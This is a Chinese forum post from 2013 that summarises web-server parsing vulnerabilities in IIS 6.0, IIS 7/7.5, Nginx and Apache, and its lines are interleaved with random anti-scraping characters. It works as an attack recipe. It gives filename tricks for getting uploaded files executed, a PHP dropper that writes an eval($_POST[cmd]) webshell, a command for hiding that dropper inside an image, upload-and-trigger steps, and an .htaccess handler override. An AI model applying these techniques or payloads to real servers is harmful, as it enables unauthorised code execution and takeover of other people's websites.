找回密码
 立即注册
查看: 3505|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain; C; `/ {) I6 q# M" j
[+]IIS6.0& m# v3 E. |% U5 J
5 {, C3 T1 F7 j. q
目录解析:/xx.asp/xx.jpg * d# u) B5 C! L* l
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
  ]8 r* E. l7 S( R5 q+ D' k IIS6.0 会将 xx.jpg 解析为 asp 文件。) B/ P; T( ^3 A+ Y0 A/ B
后缀解析:/xx.asp;.jpg     4 w8 ?. m. Y9 {8 @' m4 l% R
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。+ |0 ^9 m7 e* v/ E/ h* |
默认解析:/xx.asa
1 ~- a  y% M# E" c0 U( m; H- a         /xx.cer
; H1 |$ o. B" p2 X! N* {( }         /xx.cdx. b! ?/ F  L' m6 Q+ Q0 V# Z- e5 o. K
IIS6.0 默认的可执行文件除了 asp 还包含这三种3 {( q: O! X' H* |% m% A! Q
此处可联系利用目录解析漏洞 7 `( ?) T6 I. f0 W2 o5 a* P: Z
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg# f* N& q- K; v& T8 J3 ]
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03. a2 c( a9 m/ a- D* U( W
& R1 p  e2 v0 h: A5 H
IIS 7.0/IIS 7.5/Nginx <0.8.038 a' l1 j% v, m* ^0 |
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
+ d, A9 ^1 N  W% ^7 \- m$ F 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
' X) n0 t- t  F; C9 n! V 常用利用方法:
+ K+ l% e( x- A0 H4 [ 将一张图和一个写入后门代码的文本文件合并将恶意文本$ y! W& d! D9 N' v, u) u3 g
写入图片的二进制代码之后,避免破坏图片文件头和尾
; ?5 h" J" A0 x  f( r. Q 如:7 R' {4 Y' @, F
copy xx.jpg /b + yy.txt/a xy.jpg
/ t3 A. D# B" R+ m9 g+ R. E/ y #########################################################
4 m5 d9 V+ _9 s* U9 Z4 l/ q. W /b 即二进制[binary]模式$ m: A" @1 M# q( f: D  z/ u
/a 即ascii模式% n  _7 ^- S" `" X, H
xx.jpg 正常图片文件
  R4 U: X# J' [7 B" \. L yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
8 e( V( u) o4 h3 ?. L. r, x '<?php eval($_POST[cmd])?>');?>
. q4 u$ Q- W% e! e3 E3 D( h 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
' E' s5 V* l& F# c7 ^ 为shell.php的文件
% F# D  y9 |- F4 z ###########################################################' `  @7 N3 g3 A* q
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
+ s, r- J* f3 I9 ~+ w 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
/ i$ s* N6 b/ W* K! c* E, U 密码 cmd- P5 I! H2 U# {# H. o( R
[+]Nginx <0.8.03
2 x5 c& x( v6 V) t* M
. z  K" j! z7 [& N! v4 n0 V 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞0 m  b' W- N1 K# I3 a' I9 D
在一个文件路径(/xx.jpg)后面加上%00.php
$ E/ h3 H' q. h, U  \ 会将 /xx.jpg%00.php 解析为 php 文件。
. G& [/ I5 L/ U: B$ N5 K# p[+]Apache<0.8.03
7 X5 p( M4 \: k& t) h6 ?3 {# D% `
% O9 v/ P1 I8 v0 G$ ]2 E1 m% T 后缀解析:test.php.x1.x2.x3
' ^* O* k: n# W! A/ U2 M/ a8 | Apache将从右至左开始判断后缀,若x3非可识别后缀,, v3 X8 [, t; v3 F) d7 `% d4 d
再判断x2,直到找到可识别后缀为止,然后将该可识别9 o" t: t3 L8 e& y4 d
后缀进解析test.php.x1.x2.x3 则会被解析为php6 E& h- X/ V  ]
经验之谈:php|php3|phtml 多可被Apache解析。
7 W2 V8 ^0 u% Y7 i5 X& l[+]其他一些可利用的
/ ]4 y* P, H3 n5 I+ k5 D ; w" h9 r. H, ?) o5 T* _
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
& g$ F1 b5 Q4 Q若这样命名,windows会默认除去空格或点,这也是可以被利用的!: B& `% k5 B$ f/ f# l( J$ @
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格* e- J8 Y  M% m
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可0 Q& G5 X: Q+ ~; e( t7 ^
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。7 x' l+ g& d" I& H* \( a5 q1 _
{Linux主机中不行,Linux允许这类文件存在}
- E0 o7 V. `# ]; m- e& `如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
% J) w8 H& B7 ?1 G6 i' a1 a2 \* Q的,当初我并不知道),且可以被上传,那可以尝试在- w6 u: r- u: N% R
.htaccess中写入:
& X+ y* C* s# v) n- b7 I8 K<FilesMatch “shell.jpg”> 2 w4 e$ ^) u( G. ]# p' i
SetHandler application/x-httpd-php - i2 I. h! A. k
</FilesMatch>; t: c8 ~* m5 {0 P* J
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件' r8 G7 R" Q; K6 }0 e) P! @
[+]错误修改
& l- N$ C9 p# e: Q
! Y3 g/ G" N( b) Q  ~在 IIS 6.0 下可解析 /xx.asp:.jpg
' K8 q/ ~- O. p2 z9 Z+ Z: F{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
$ V1 o/ l( ~9 _! D$ g剩下/xx.asp}修改:
% y* b" H7 j2 b8 ?# r先谢谢核攻击的提醒  F8 e; g( v% s
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp+ G, B% L% w) F7 I1 \0 {, X: {; C' s
里是没有任何内容的,因为。。不好解释 大家自己看
' G0 B3 W( j+ Z. h( J4 qhttp://lcx.cc/?i=2448
/ M7 G. S& L- Y7 v5 whttp://baike.baidu.com/view/3619593.htm
/ R0 t9 C8 ]) |
) A2 u3 q3 _* ^- q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表